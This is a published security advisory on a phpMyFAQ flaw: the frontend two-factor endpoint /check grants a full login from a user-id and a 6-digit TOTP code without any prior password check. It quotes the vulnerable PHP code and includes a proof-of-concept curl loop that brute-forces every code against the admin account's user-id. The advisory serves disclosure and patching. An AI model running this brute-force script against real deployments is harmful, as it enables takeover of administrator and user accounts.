phpMyFAQ's two-factor authentication login bypasses the password factor
Summary
The public two-factor verification endpoint POST /check logs a user in based solely on a valid
6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior
successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker
can authenticate without knowing the password, reducing the account to a single factor (a 6-digit
code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an
authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
Details
src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:
#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
if ($userId <= 0) { /* ... */ }
$this->currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) {
$result = $this->twoFactor->validateToken($token, $userId);
if ($result) {
$this->currentUserService->twoFactorSuccess(); // full login, no password ever checked
return new RedirectResponse(url: './');
}
}
// ...
}
twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):
public function twoFactorSuccess(): bool
{
$this->setLoggedIn(true);
$this->updateSessionId(true);
$this->saveToSession();
$this->setSuccess(true);
return true;
}
There is no server-side state (such as a "password already verified for this user" flag) tying the
/check step to the password step. Compare the admin flow, which does it correctly via a
2fa_pending_user_id session value set only after the password is validated
(src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend
omission is a regression, not an intended design.
validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret,
so this is not a universal bypass of all accounts — it specifically defeats the password factor of
every 2FA-enabled account:
public function validateToken(string $token, int $userId): bool
{
if (strlen($token) !== 6 || $userId <= 0) { return false; }
$this->currentUser->getUserById($userId);
$secret = $this->currentUser->getUserData('secret');
if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false
return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only
}
Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default
(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to
strengthen the password, becomes the only barrier and is independently guessable.
PoC
Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows
or enumerates the numeric user-id (1 = first/admin account in default installs).
# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
curl -ks -c jar.txt -b jar.txt \
-X POST "https://target/check" \
--data-urlencode "user-id=1" \
--data-urlencode "token=$(printf '%06d' 10#$code)" \
-o /dev/null -w "%{http_code} %{redirect_url}\n" \
| grep -q './' && echo "[+] logged in with token $code" && break
done
# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).
If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.
Impact
Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | phpmyfaq/phpmyfaq | >= 3.2.0, < 4.1.6 | 4.1.6 |
| Composer package | thorsten/phpmyfaq | >= 3.2.0, < 4.1.6 | 4.1.6 |
References
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5
- https://nvd.nist.gov/vuln/detail/CVE-2026-56737
- https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f
- https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a
- https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be
- https://github.com/thorsten/phpMyFAQ
- https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-287- Platform
- Composer
- Package
phpmyfaq/phpmyfaq, thorsten/phpmyfaq- Disclosed
- 24.09.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-8gpw-xvpf-hvx5 - CC BY 4.0
Vulnerability history: thorsten/phpmyfaq
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 112
- First → latest
- 05.2022 09.2026
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- Critical 8
- High 36
- Medium 67
- Low 1
Disclosures per year
- 2022: 8
- 2023: 62
- 2024: 2
- 2025: 6
- 2026: 34
-
phpMyFAQ's two-factor authentication login bypasses the password factor this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.